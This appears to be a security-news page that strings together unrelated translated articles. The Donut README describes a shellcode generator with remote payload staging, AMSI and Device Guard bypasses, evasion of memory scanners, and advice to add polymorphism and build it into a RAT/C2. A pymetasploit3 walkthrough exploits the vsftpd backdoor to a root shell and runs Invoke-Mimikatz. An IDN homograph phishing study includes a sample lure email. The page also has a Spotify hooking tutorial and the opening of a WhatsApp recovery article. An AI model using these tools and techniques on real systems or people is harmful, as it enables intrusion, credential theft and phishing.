donut.png

Donut是一个shellcode生成工具,它可以从.NET程序集中创建与位置无关的shellcode payloads。此shellcode可用于将程序集注入任意Windows进程。给定一个任意.NET程序集,参数和入口点(如Program.Main),Donut就可为我们生成一个与位置无关的shellcode,并从内存加载它。.NET程序集可以通过直接嵌入shellcode从URL或Stageless进行分阶段。无论哪种方式,.NET程序集都将使用Chaskey block cipher和128-bit随机生成的密钥进行加密。通过CLR加载程序集后,原始引用将从内存中删除以躲避内存扫描程序检测。程序集将被加载到一个新的应用程序域(AppDomain) 中,以允许在可释放的AppDomain中运行程序集。它可以以多种方式使用。

作为独立工具使用

Donut可用于从任意.NET程序集生成shellcode。同时提供了Windows EXE和Python script(计划用于v1.0版的python)的payload生成。命令行语法如下。

usage: donut [options] -f <.NET assembly>

       -f <path>            .NET assembly to embed in PIC and DLL.
       -u <URL>             HTTP server that will host the .NET assembly.
       -c <namespace.class> Optional class name. (required for DLL)
       -m <method>          Optional method name. (required for DLL)
       -p <arg1,arg2...>    Optional parameters or command line, separated by comma or semi-colon.
       -a <arch>            Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).
       -r <version>         CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
       -d <name>            AppDomain name to create for assembly. Randomly generated by default.

 examples:

    donut -f assembly.exe
    donut -a1 -cTestClass -mRunProcess -pnotepad.exe -floader.dll
    donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/

从源码构建 Donut

已为包含已编译可执行文件的每个发布版本的donut提供了tags。

v0.9 Beta:https://github.com/TheWover/donut/releases/tag/v0.9

v0.9.1 Beta:https://github.com/TheWover/donut/releases/tag/v0.9.1

你也可以使用提供的makefile自行克隆和构建源码。启动Microsoft Visual Studio Developer命令提示符并cd到donut的目录。Makefile(非gcc)可以通过-f Makefile.msvc进行指定。makefile提供以下命令来构建donut:

nmake donut -f Makefile.msvc
nmake debug -f Makefile.msvc
nmake clean -f Makefile.msvc

作为库

对于Linux(.a/.so)和Windows(.lib/.dll),可以将donut编译为动态库和静态库。它有一个简单的API,在docs/api.html中有描述。提供了两个导出函数:int DonutCreate(PDONUT_CONFIG c) 和 int DonutDelete(PDONUT_CONFIG c)。

作为模板 – 重建 shellcode

payload.c包含.NET程序集加载程序,该加载程序应使用Microsoft Visual Studio和MingW-W64成功编译。已为两个编译器提供了make文件,默认情况下,这两个编译器将生成x86-64 shellcode,除非将x86作为标签提供给nmake/make。每当payload.c被更改时,建议在重建donut之前重新编译所有架构。

Microsoft Visual Studio

打开x64 Microsoft Visual Studio构建环境,切换到payload目录,然后键入以下内容:

nmake clean -f Makefile.msvc
nmake -f Makefile.msvc

这将从payload.c. exe2h生成一个64位可执行文件(payload.exe),然后从PE文件的.textsegment提取shellcode,并将其作为C array,保存到payload_exe_x64.h。当重新构建donut时,这个新的shellcode将用于它生成的所有payloads。

想要生成32位shellcode,请打开x86 Microsoft Visual Studio构建环境,并切换到payload目录,然后键入以下内容:

nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc

这会将shellcode作为C array保存到payload_exe_x86.h中。

Mingw-w64

假设你在Linux上,并且mingw-w64是从软件包或源码安装的,那么你仍然可以使用我们提供的makefile重新构建shellcode。切换到payload目录并键入以下内容:

make clean -f Makefile.mingw
make -f Makefile.mingw

一旦为所有架构重新编译,就可以重建donut。

绕过

donut包括用于AMSI和其他安全功能的绕过系统。目前可以绕过:

.NET v4.8中的AMSI

Device Guard策略阻止动态生成的代码执行

你也可以在payload/bypass.c中自定义或添加自己的绕过方案。

每个bypass都使用BOOL DisableAMSI(PDONUT_INSTANCE inst)签名实现DisableAMSI功能,并附带相应的预处理器指令。我们有几个#if defined blocks来检查定义。每个block实现相同的bypass功能。例如,我们的第一个bypass称为BYPASS_AMSI_A。如果donut是用定义的变量构建的,则将使用该bypass。

为什么这么做?因为这意味着只有你使用的bypass内置在payload.exe中。因此,其他代码不包含在shellcode中。这减少了shellcode的大小和复杂性,增加了模块化的设计,并确保扫描程序无法在shellcode中找到你实际未使用的可疑块。

这么设计的另一个好处就是,你可以编写自己的AMSI bypass。要使用新的bypass构建Donut,请使用if defined block进行bypass,并修改makefile以添加一个使用定义的bypass名称构建的选项。

如果你愿意,可以扩展我们的bypass系统来添加在加载.NET程序集之前运行的其他预执行逻辑。

这里有一篇有关AMSI bypass研究的详细文章大家可以参考下。

个人建议

以下建议留给大家作为练习:

添加环境键控

每次生成shellcode时,通过混淆payload使donut具有多态性

将donut作为模块集成到你最喜欢的RAT/C2框架中

免责声明

我们不会针对任何的AV和检测实时更新签名进行对抗。

对于任何滥用此软件或技术的行为,我们概不负责!该工具仅作为研究学习使用!

工作原理

Procedure

Donut使用Unmanaged CLR Hosting API来加载公共语言运行时(Common Language Runtime)。如有必要,程序集将下载到内存中。无论哪种方式,都使用Chaskey block cipher对其进行解密。将CLR加载到主机进程后,除非另行指定,否则将使用随机名称创建新的AppDomain。AppDomain准备就绪后,将通过AppDomain.Load_3加载.NET程序集。最后,使用任意指定的参数调用用户指定的入口点。

以上逻辑描述了donut生成的shellcode的是如何工作的。该逻辑是在payload.exe中定义。要获取shellcode,exe2h从payload.exe中的.text segment中提取已编译的机器代码,并将其作为C array保存到C header文件中。donut将shellcode与Donut实例(shellcode的配置)和Donut模块(包含.NET程序集,类名,方法名和任意参数)相结合。

有关未记录的CLR Hosting API的文档,请参阅MSDN:https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces

有关CLR主机的单独示例,请参阅Casey Smith的AssemblyLoader存储库:https://github.com/caseysmithrc/AssemblyLoader

有关Donut如何运作的详细博文,可在Odzhan和TheWover的博客中找到。链接位于README的开头部分。

组件

donut.c: donut payload生成器源码

donut.exe: 编译为可执行文件EXE

donut.py: 编译为Python script(计划用于v1.0版的python)

lib/donut.dll, lib/donut.lib: 在Windows平台将Donut作为一个动态和静态库用于其他项目

lib/donut.so, lib/donut.a:在Linux平台将Donut作为一个动态和静态库用于其他项目

lib/donut.h: 如果在C/C++项目中使用静态库或动态库,则包含头文件

payload/payload.c:shellcode源码

payload/payload.exe: 编译的payload。shellcode是从这个二进制文件中提取的。

payload/inject.c:一个C shellcode injector,注入payload.bin到一个特定进程用于测试。

payload/inject.exe: 编译的C shellcode injector

payload/runsc.c:一个C shellcode runner,用于以最简单的方式测试payload.bin

payload/runsc.exe: 编译的C shellcode runner

payload/exe2h/exe2h.c: exe2h源码

payload/exe2h/exe2h.exe: 从payload.exe中提取有用的机器代码,并将其作为数组保存到C头文件中

encrypt.c: 在Counter(CTR)模式下用于加密的Chaskey 128-bit block cipher。

hash.c: Maru hash 功能。使用具有Davies-Meyer构造的Speck 64位分组密码进行API散列。

子项目

donut提供了四个配套项目:

DemoCreateProcess:用于测试的.NET程序集示例。采用两个命令行参数,每个参数指定要执行的程序。

DonutTest:用于测试donut的简单C# shellcode injector。shellcode必须是base64编码,并以字符串形式复制。

ModuleMonitor:一个概念验证工具,可以检测CLR注入,因为它是由Donut和Cobalt Strike的执行程序集等工具完成。

ProcessManager:一个进程发现工具,攻击者可以使用它来确定注入的内容,防御者则可以用来确定正在运行的内容,这些进程具有哪些属性,以及它们是否加载了CLR。

项目计划

创建一个donut Python C扩展,允许用户编写可以通过编程方式使用donut API的Python程序。它将用C语言编写,但作为Python模块公开。

创建一个C#版本的生成器

创建一个donut.py生成器,使用与donut.exe相同的命令行参数

添加对HTTP代理的支持

如果可能,找到简化shellcode的方法

添加选项以指定最大参数长度

添加对动态查找EXE入口点并使用命令行参数执行的支持

写一篇博文,介绍如何将donut集成到你的工具中,并进行调试和定制,以及设计与之可协同工作的的payload。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

在开始本文的正式内容之前我想先来吐槽下。大多数的软件开发人员可能都有着这样一个烦恼,就是由于工作和其他责任,不得不搁置自己的一些个人项目甚至是最终完全的遗忘和埋没。而本文的所述的就是一个被我遗忘已久的项目,而我写这篇文章的目的就是希望能迫使我自己最终完成这个项目。好了,介绍就到这了让我们开始吧。

项目

该项目的目标是构建一个Spotify客户端,让它能够学习我的听曲习惯并跳过一些我通常会跳过的歌曲。不得不承认,这种需求来自于我的懒惰。我不想在当我有心情想要听某些音乐时,创建或查找播放列表。我希望的是在我的库中选择一首歌,然后可以随机播放其他歌曲,并从队列中删除不“flow(节奏与旋律的流畅)”的歌曲。

为了实现这一点,我需要学习某种能够执行此任务的模型(在未来的帖子中可能更多)。但是为了能够训练一个模型,我首先需要数据来训练它。

数据

我需要完整的听歌历史记录,包括我跳过的那些歌曲。获取历史记录很简单。虽然Spotify API仅允许获取最近50首播放的歌曲,但我们可以设置一个cron job来重复轮询该端点。完整代码已经发布在此处:https://gist.github.com/SamL98/c1200a30cdb19103138308f72de8d198

最困难的部分是跟踪跳过。Spotify Web API并没有为此提供任何的端点。之前我使用Spotify AppleScript API创建了一些控制播放的服务(本文的其余部分将涉及到MacOS Spotify客户端)。我可以使用这些服务来跟踪跳过的内容,但这感觉像是在回避挑战。我怎么能完成它呢?

Hooking

我最近学习了解了有关hooking的技术,你可以在其中“拦截”从目标二进制文件生成的函数调用。我认为这将是跟踪跳过的最佳方法。

最常见的钩子类型是interpose hook。这种类型的钩子会覆盖PLT中的重定位,但这究竟意味着什么呢?

PLT或过程链接表允许你的代码引用外部函数(想想libc)而不知道该函数在内存中的位置,你只需引用PLT中的一个条目。链接器在运行时为PLT中的每个函数或符号执行“重定位”。这种方法的一个好处是,如果外部函数在不同的地址加载,则只需要更改PLT中的重定位,而不是每次对代码中该函数的引用。

因此,当我们为printf创建一个interpose hook时,每当我们hooking的进程调用printf时,我们将调用printf的实现而不是libc(我们的自定义库通常也会调用标准实现)。

在对钩子有了一些基本的知识背景后,下面我们准备尝试在Spotify中插入一个钩子。但首先我们需要弄清楚我们想要hook的是什么。

寻找 hook 的位置

如前所述,只能为外部函数创建一个interpose hook,因此我们将在libc或Objective-C runtime中查找函数。

在研究在哪hook时,我认为一个开始hooking的好地方是Spotify处理“media control keys”或我MacBook上的F7-F9。假设这些键的处理程序在spotify应用程序中单击Next按钮被调用时会调用函数。我最终在:https://github.com/nevyn/spmediakeytap上找到了SPMediaKeyTap库。我想我可以试一试,看看Spotify是否复制并粘贴了这个库中的代码。在SPMediaKeyTap库中,有一个方法startWatchingMediaKeys。我在Spotify二进制文件上运行了strings命令,看看他们是否有这个方法,果然:

1.png

Bingo!!如果我们将Spotify二进制文件加载到IDA(当然是免费版本)并搜索此字符串,我们就会找到相应的方法:

2.png

如果我们查看这个函数对应的源码,我们会发现CGEventTapCreate函数的有趣参数tapEventCallback:

3.png

如果我们回顾一下反汇编,我们可以看到sub_10010C230子例程作为tapEventCallback参数传递。如果我们查看这个函数的源码或反汇编,我们看到只调用了一个库函数CGEventTapEnable:

4.png

让我们尝试hook这个函数。

我们需要做的第一件事是创建一个库来定义我们的自定义CGEventTapEnable。代码如下:

#include <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
void CGEventTapEnable(CFMachPortRef tap, bool enable) 
{
  typeof(CGEventTapEnable) *old_tap_enable;
  printf(“I'm hooked!\n”);
  old_tap_enable = dlsym(RTLD_NEXT, “CGEventTapEnable”);
  (*old_tap_enable)(tap, enable);
}

dlsym函数调用获取实际库CGEventTapEnable函数的地址。然后我们调用旧的实现,这样我们就不会意外地破坏任何东西。让我们像这样编译我们的库(https://ntvalk.blogspot.com/2013/11/hooking-explained-detouring-library.html):

gcc -fno-common -c <filename>.c 
gcc -dynamiclib -o <library name> <filename>.o

现在,让我们尝试在插入钩子时运行Spotify:DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=<library name> /Applications/Spotify.app/Contents/MacOS/Spotify。点击进入:

5.png

Spotify打开正常,但Apple的系统完整性保护(SIP)没有让我们加载未签名库:(。

幸运的是,我是Apple的reasonably priced developer项目的成员,所以我可以对库进行代码签名。这个问题算是得到了解决。让我们用100美元证书签名我们的库,运行上一个命令,然后……

6.png

失败。这一点不奇怪,Apple不允许你插入使用任何旧标识签名的库,只允许使用签名原始二进制文件时使用的库。看起来我们必须要找到另一种方法来hook Spotify了。

作为补充说明,细心的读者可能会注意到我们hook的函数CGEventTapEnable,只有在media key event超时时才会被调用。因此,即使我们可以插入钩子,我们也可能不会看到任何的输出。本节的主要目的是详细说明我最初的失败(和疏忽),并作为一个学习经验。

HookCase

经过一番挖掘,我发现了一个非常棒的库HookCase:https://github.com/steven-michaud/HookCase。HookCase让我们实现一种比插入钩子( patch hook)更为强大的钩子类型。

通过修改你希望hook的函数触发中断插入Patch hooks。然后,内核可以处理此中断,然后将执行转移到我们的个人代码中。对于那些感兴趣的人,我强烈建议你阅读HookCase文档,因为它更为详细。

Patch hooks不仅允许我们对外部函数的hook调用,而且允许我们hook目标二进制文件内的任何函数(因为它不依赖于PLT)。HookCase为我们提供了一个框架来插入patch和/或interpose hooks,以及内核扩展来处理patch hooks生成的中断,并运行我们的自定义代码。

寻找 sub_100CC2E20

既然我们已经有办法hook Spotify二进制文件中的任何函数了,那么只剩下最后一个问题……就是位置在哪?

让我们重新访问SPMediaKeyTap源码,看看如何处理媒体控制键。在回调函数中,我们可以看到如果按下F7,F8或F9(NX_KEYTYPE_PREVIOUS,NX_KEYTYPE_PLAY等),我们将执行handleAndReleaseMediaKeyEvent选择器:

7.png

然后在所述选择器中通知delegate:

8.png

让我们看看repo中的这个delegate方法:

9.png

事实证明它只是为处理keys设置了一个模板。让我们在IDA中搜索receiveMediaKeyEvent函数,并查看相应函数的图形视图:

10.png

看起来非常相似,不是吗?我们可以看到,对每种类型的键都调用了一个公共函数sub_10006FE10,只设置了一个整数参数来区分它们。让我们hook它,看看我们是否可以记录按下的键。

我们可以从反汇编中看到,sub_10006FE10获得了两个参数:1)指向SPTClientAppDelegate单例的playerDelegate属性的指针,以及2)指定发生了什么类型事件的整数(0表示暂停/播放,3表示下一个,4表示上一个)。

看看sub_10006FE10(我不会在这里包含它,但我强烈建议你自己检查一下),我们可以看到它实际上是sub_10006DE40的包装器,其中包含了大部分内容:

11.png

哇!这看起来很复杂。让我们试着把它分解一下。

从这个图的结构来看,有一个指向顶部的节点有许多outgoing edges:

12.png

正如IDA所建议的那样,这是esi(前面描述的第二个整数参数)上的switch语句。看起来Spotify的处理的不仅仅是Previous,Pause/Play和Next。让我们把关注点集中到处理Next或3 block:

13.png

不可否认,为此我花了一些时间,但我想请你注意底部第四行的call r12。如果你查看其他的一些情况,你会发现一个非常相似的调用寄存器的模式。这似乎是一个很好的函数,但我们如何知道它在哪呢?

让我们打开一个新工具:debugger(调试器)。我最初尝试调试Spotify时遇到了很多麻烦。现在可能是因为我对调试器不太熟悉的原因,但我认为我想出了一个相当聪明的解决方案。

我们首先在sub_10006DE40上设置一个hook,然后我们在代码中触发一个断点。我们可以通过执行汇编指令int 3来做到这一点(例如像GDB和LLDB之类的调试)。

以下是在HookCase框架中hook的样子:

14.png

将此添加到HookCase模板库后,你还必须将其添加到user_hooks数组:

15.png

然后我们可以使用Makefile HookCase提供的模板来编译它。然后可以使用以下命令将库插入Spotify:HC_INSERT_LIBRARY=<full path to hook dylib> /Applications/Spotify.app/Contents/MacOS/Spotify。

然后我们可以运行LLDB并将其attach到正在运行的Spotify进程,如下所示:

16.png

尝试按F9(如果Spotify不是活动窗口,它可能会打开iTunes)。钩子中的int $3行应该触发了调试器。

现在我们可以进入到sub_10006DE40入口点这步。请注意,PC将位于与IDA中显示的地址相对应的位置(我认为这是由于进程加载到内存的位置所导致的)。在我当前的进程中,push r15指令位于0x10718ee44:

17.png

在IDA中,该指令的地址为0x10006DE44,它给了我们一个偏移量0×7121000。在IDA中,调用r12指令的地址为0x10006E234。然后我们可以将偏移量添加到该地址,并相应地设置一个断点,b -a 0x10718f234,然后继续。

当我们点击目标指令时,我们可以打印出寄存器r12的内容:

18.png

我们要做的就是从这个地址减去偏移量,看,我们获取到了我们名义上的地址:0x100CC2E20。

Hooking sub_100CC2E20

现在,让我们来hook这个函数:

19.png

将其添加到user_hooks数组,编译,运行,并观察:每次按F9或单击Spotify应用程序中的next按钮,都会记录我们的消息。

现在我们已经hook了skip功能,

20.JPG

我将发布剩余的代码,但我不会完成其余部分的逆向工作,因为这篇文章已经够长的了。

简而言之,我也hook了previous功能(如果你照着做的话,这会是一个很好的练习)。然后,在这两个钩子中,我首先检查当前的歌曲是否已经过了一半。如果是的话,我什么都不做,假设我只是对这首歌感到厌倦,而不是觉得它不合适。然后在backs (F7),我弹出last skip。

针对如何检查当前歌曲是否已经过了一半的方法我想说几句。我最初的方法是实际调用popen,然后运行相应的AppleScript命令,但感觉这不太对。

我在Spotify二进制文件上运行了class-dump,发现了两个类:SPAppleScriptObjectModel和SPAppleScriptTrack。这些方法公开了播放位置,持续时间和曲目ID所需的必要属性。然后,我为这些属性hook了getter,并使用next和back hooks调用它们(我认为Swizzle更合理,但我无法让它正常工作)。

我使用一个文件来跟踪skips,其中第一行包含跳过次数,在跳过时我们增加这个计数器,并将跟踪ID和时间戳写入计数器指定行上的文件。在back按钮,我们只是减少这个计数器。这样,当我们按下back按钮时,我们只是将文件设置为对已回溯文件写入new skips。无论如何,这里的代码是:https://gist.github.com/SamL98/0cd20b00951b9a5cca6b5c9380ec5642

总结

希望通过本文你可以学习到一些新的知识,至少在这个过程中我已学到了很多东西。另外,如果你有任何更好的想法或建议请将它告诉我!谢谢!

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

在过去的几个月里,我们做了一些有关创建网络钓鱼电子邮件的研究,这些创建的钓鱼邮件足以欺骗那些专业的安全人员。因此,我们正在研究一个相当古老的安全话题:Punycode域和IDN同形异义词攻击。

Punycode是一种特殊的编码,用于将Unicode字符转换为ASCII。这里使用bücher.example的示例域来说明其编码过程。

bücher转换为Punycode结果为bcher-kva。然后以xn--为前缀,生成xn--bcher-kva。因此DNS记录为xn--bcher-kva.example。

但这也可以用来欺骗用户访问恶意的URL。2017年,Xudong Zheng撰写了一篇关于使用Unicode域进行网络钓鱼的博文。他们为apple.com创建了一个PoC域,并使用了西里尔字母‘a’ – ,而浏览器以Unicode表示,这使得即使是有经验的用户也很难发现攻击。与此同时,除Firefox之外的所有浏览器都默认以Punycode表示,虽然这消除了Web浏览器中的大多数攻击。但针对邮件的欺骗攻击呢?

可以说Unicode域似乎是实现近乎完美的网络钓鱼邮件的一种方法。

为了创建一个PoC,我们注册了域а1.digital,其中‘а’等同于西里尔字母的а (U+0430)。

我们感兴趣的是主流的电子邮件客户端是如何处理从Punycode域发送的电子邮件的,以及他们采用哪种安全机制来通过此特定向量发现潜在的网络钓鱼攻击。

我们查看了以下产品:

Outlook for Windows

Outlook Mobile

Office365 Web (outlook.office365.com)

Gmail Web

Gmail Android

Mail for iPhone

Thunderbird

我们测试了不同的向量:

发送电子邮件使用Punycode编码的“FROM”字段 (示例:FROM: Bud Spencer <[email protected]>)

发送电子邮件使用Unicode编码的“FROM”字段 (示例:FROM: Bud Spencer <[email protected]а1.digital>)

发送带有合法“FROM”字段的电子邮件,但使用Punycode编码或Unicode编码的电子邮件地址伪造“Reply-To”(示例:FROM: Bud Spencer <[email protected]>, Reply-To: Bud Spencer <[email protected]>)

场景如下:Bud Spencer([email protected])受到恶意攻击者的冒充,Terence Hill写了一封包含以下内容的电子邮件:

Hello Terence,
You can find the registration link for our security awareness training below:
https://а1.digital/security-awareness-training
Kind Regards
Bud

结果如下表:

使用Homograph攻击的复杂鱼叉攻击分析

在下文中,我们将介绍此研究的详细结果,包括测试应用程序的屏幕截图以及成功的攻击向量。

Outlook for Windows

测试版本为:Office 365 16.0.11328.20286

以下电子邮件是使用Punycode编码的“FROM”字段发送的

使用Homograph攻击的复杂鱼叉攻击分析

如上所示,Outlook会向用户发出警告。但大多数用户都不会注意到警告。我们进行下改进,使用合法的“FROM”字段但“Reply-To”字段使用Punycode编码,创建内容如下:

使用Homograph攻击的复杂鱼叉攻击分析

可以看到没有警告!以下截图显示,在回复假电子邮件时无法识别攻击。请注意,在该示例中,受害者正在回复攻击者。

使用Homograph攻击的复杂鱼叉攻击分析

注意:Outlook 2016在收到上述假电子邮件时以Punycode表示。使用Unicode编码的“FROM”字段感知网络钓鱼电子邮件时,攻击将无法识别。

Outlook Mobile for Android

测试版本为:3.0.63 (319)

测试电子邮件分别以Unicode和Punycode编码发送。但是,如下所示Outlook for Android始终以Punycode表示,允许用户检测攻击。

使用Homograph攻击的复杂鱼叉攻击分析

Office365 Web (outlook.office365.com)

下面的电子邮件是使用а1.digital的Unicode表示发送的 – 在这种情况下,用户无法识别此网络钓鱼电子邮件,即使在回复时也是如此。

使用Homograph攻击的复杂鱼叉攻击分析

Gmail Web

而Gmail就非常有意思了 – 它是目前使用最广泛的网络邮件之一。收到电子邮件(Punycode发件人,以Unicode格式发送时,Gmail服务器将不会接受该电子邮件)时,无法检测到网络钓鱼攻击。此外,Google垃圾邮件保护服务也未将其归类为垃圾邮件。

使用Homograph攻击的复杂鱼叉攻击分析

在扩展的详细信息中可以看到,电子邮件是由xn--1-7sb.digital签名的 – 这是因为DKIM签名。我们使用了一个外部电子邮件提供商签名所有传出邮件 – 我们当然可以在设置我们自己的电子邮件服务器时停用它,这将会让攻击更为隐蔽。缺点是,如果没有有效的DKIM签名,SPAM得分就不会那么好。

使用Homograph攻击的复杂鱼叉攻击分析

最有意思的是,在回复网络钓鱼邮件时,Gmail会通过以下消息警告用户:

使用Homograph攻击的复杂鱼叉攻击分析

受害者一旦回复了此钓鱼邮件,在回复其他来自发送者的电子邮件时将不会触发警告。

Gmail Android

测试版本为:2019.04.28.246421133.release

如上所示,Gmail web界面提供了良好的安全功能,可在回复此类网络钓鱼电子邮件时向用户发出警告。Gmail for Android则没有提供该功能。在我们的测试中,我们无法触发类似以上的警告,这也是我们向Google发送报告的原因。经过一番讨论,谷歌回应说,他们正在研究这个问题,并且可能会提供修复。

使用Homograph攻击的复杂鱼叉攻击分析

Mail for iPhone

IMail在测试时并不容易受到这种攻击,并且显示发送者的Punycode表示。

使用Homograph攻击的复杂鱼叉攻击分析

Thunderbird

测试版本为:60.6.1 (32-bit)

使用Unicode编码发送网络钓鱼电子邮件时,无法在Thunderbird中检测到此类攻击。

使用Homograph攻击的复杂鱼叉攻击分析

回复此电子邮件如下所示:

使用Homograph攻击的复杂鱼叉攻击分析

总结

该研究表明,使用IDN Homograph攻击的复杂网络钓鱼攻击很容易实现。 像Outlook和Thunderbird这样的供应商尚未实施有意义的对策来允许检测此类攻击。这种鱼叉式网络钓鱼的强大之处在于,双向交互是可能的 – 我们实际上可以接收到对网络钓鱼电子邮件的回复,从而允许更高级的攻击,并为创建有针对性的网络钓鱼活动开辟新的途径。

 *参考来源:offensity,FB小编secist编译,转载请注明来自FreeBuf.COM

Pymetasploit3是一个PowerShell编写的成熟的Python3 Metasploit自动化库。它可以通过msfrpcd或msfconsole中的msgrpc插件与Metasploit进行交互。

原始库:pymetasploit

该项目是Python2 pymetasploit库的更新和改进版本。

原项目地址:https://github.com/allfro/pymetasploit

安装

mkdir your-project
cd your-project
pipenv install --three pymetasploit3
pipenv shell

或:

pip3 install --user pymetasploit3

基本使用

启动 Metasploit RPC server

你也可以使用msfrpcd或msfconsole启动RPC server。

Msfconsole

这将启动端口55552上的RPC server以及Metasploit控制台UI。

$ msfconsole
msf> load msgrpc [Pass=yourpassword]

msfrpcd

这将在端口55553上启动RPC服务器,并将在后台启动RPC server。

$ msfrpcd -P yourpassword -S

RPC client

连接到 msfrpcd

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword')

加载 msgrpc 插件连接到 msfconsole

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', port=55552)

MsfRpcClient

Msfrpcclient类提供了在metasploit框架中导航的核心功能。使用dir(client)查看可调用的方法。

>>> [m for m in dir(client) if not m.startswith('_')]
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins',
'port', 'server', 'token', 'sessions', 'ssl', 'uri']
>>>

与metasploit框架一样,MsfRpcClient被分割为不同的管理模块:

auth:管理msfrpcd守护程序的客户端身份验证。

consoles:管理与Metasploit模块创建的控制台/shell的交互。

core:管理Metasploit框架核心。

db:管理msfrpcd的后端数据库连接。

modules:管理Metasploit模块的交互和配置(即exploits,auxiliaries等)

plugins:管理与Metasploit核心相关的插件。

sessions:管理与Metasploit meterpreter会话的交互。

运行一个 exploit

exploit模块:

>>> client.modules.exploits
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>

创建一个exploit模块对象:

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>

exploit模块信息:

>>>  print(exploit.description)

          This module exploits a malicious backdoor that was added to the	VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.

>>> exploit.options
['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay',
'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies',
'DisablePayloadHandler', 'RPORT', 'RHOST']
>>> exploit.missing_required # Required options which haven't been set yet
['RHOST']
>>>

让我们使用在VMWare上运行的Metasploitable 2实例作为我们的漏洞利用目标。它当前运行了我们最喜欢的vsFTPd版本 – 2.3.4 – 我已经加载了漏洞利用模块。下一步是指定我们的攻击目标:

>>> exploit['RHOST'] = '172.16.14.145' # IP of our target host
>>>

选择一个payload:

>>> exploit.targetpayloads()
['cmd/unix/interact']
>>>

该漏洞的利用仅支持一个payload(cmd/unix/interact)。让我们来弹出一个shell:

>>> exploit.execute(payload='cmd/unix/interact')
{'job_id': 1, 'uuid': '3whbuevf'}
>>>

可以看到job成功运行,因为job_id为1。如果模块由于任何原因无法执行,则job_id将为None。在会话列表中我们可以看到一些非常有用的信息。

>>> client.sessions.list
{1: {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '',
'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}}
>>>

与 shell 交互

从上面找到的会话编号中创建一个shell对象并写入:

>>> shell = client.sessions.session('1')
>>> shell.write('whoami')
>>> print(shell.read())
root
>>>

像此前一样运行相同的exploit对象,但要它完成并获取输出:

>>> cid = client.consoles.console().cid # Create a new console and store its number in 'cid'
>>> print(client.consoles.console(cid).run_module_with_output(exploit, payload='cmd/unix/interact'))
# Some time passes
'[*] 172.16.14.145:21 - Banner: 220 vsFTPd 2.3.4
[*] 172.16.14.145:21 - USER: 331 Please specify the password
...'

client.sessions.session(’1′)具有相同的.write(‘some string’) 和.read()方法,但运行会话命令并等待它们完成返回输出并不像控制台命令那么简单。对于client.consoles.console(’1′).is_busy(),Metasploit RPC服务器将返回一个为true或False的busy值,但要确定client.sessions.session()是否完成运行命令需要我们手动执行。为此,我们将使用一个字符串列表,当在会话输出中找到任何字符串时,它将告诉我们会话已运行完其命令。下面我们在meterpreter会话中运行arp命令。我们知道这个命令将返回一个包含字符的较大blob文本—-如果成功运行,那么我们将它放入一个列表对象中。

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs)
# Some time passes
'\nARP Table\n                  ---------------\n  ...`

使用输出运行PowerShell脚本:

>>> session_id = '1'
>>> psh_script_path  = '/home/user/scripts/Invoke-Mimikatz.ps1'
>>> session = c.sessions.session(sessions_id)
>>> sessions.import_psh(psh_script_path)
>>> sessions.run_psh_cmd('Invoke-Mimikatz')
# Some time passes
'Mimikatz output...'

也可以使用超时简单地返回在超时到期之前找到的所有数据。timeout默认值为Metasploit的通信超时300秒,如果命令超时,则会抛出异常。更改此设置,请将timeout_exception设置为False,库将只返回在超时到期之前找到的会话输出中的所有数据。

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs, timeout=10, timeout_exception=False))
# 10s pass
'\nARP Table\n                  ---------------\n  ...`

更多示例

你可以在example_usage.py文件中找到许多其他用法示例。

 *参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

本文我将为大家介绍如何使用Python从WhatsApp恢复消息。并且我会着重解释如何从WhatsApp的sqlite数据库中查找和提取对话,并解析那里的字段和数据。这绝不是一项全面的逆向/取证分析的工作 – 我写这篇文章的唯一原因是,目前我并没有找到一个你可以信任的可用于此目的免费信息和/或开源工具。所以我想如果我能分享我所做的工作,那么将可以为他人节省一些时间。你可以使用与之相似的过程来分析其他的(messaging)应用程序。

本文我将使用Jupyter NotebooksPandas,但几乎所有代码都可以独立于Jupyter使用。用于从WhatsApp sqlite DB中提取消息的代码(专为Jupyter notebook编写),你可以在github获取到。

背景

由于房地产开发商的一些法律问题(有诚实的开发商吗?)我需要从一个放在壁橱里两年的旧iPhone设备中恢复whatsApp信息。

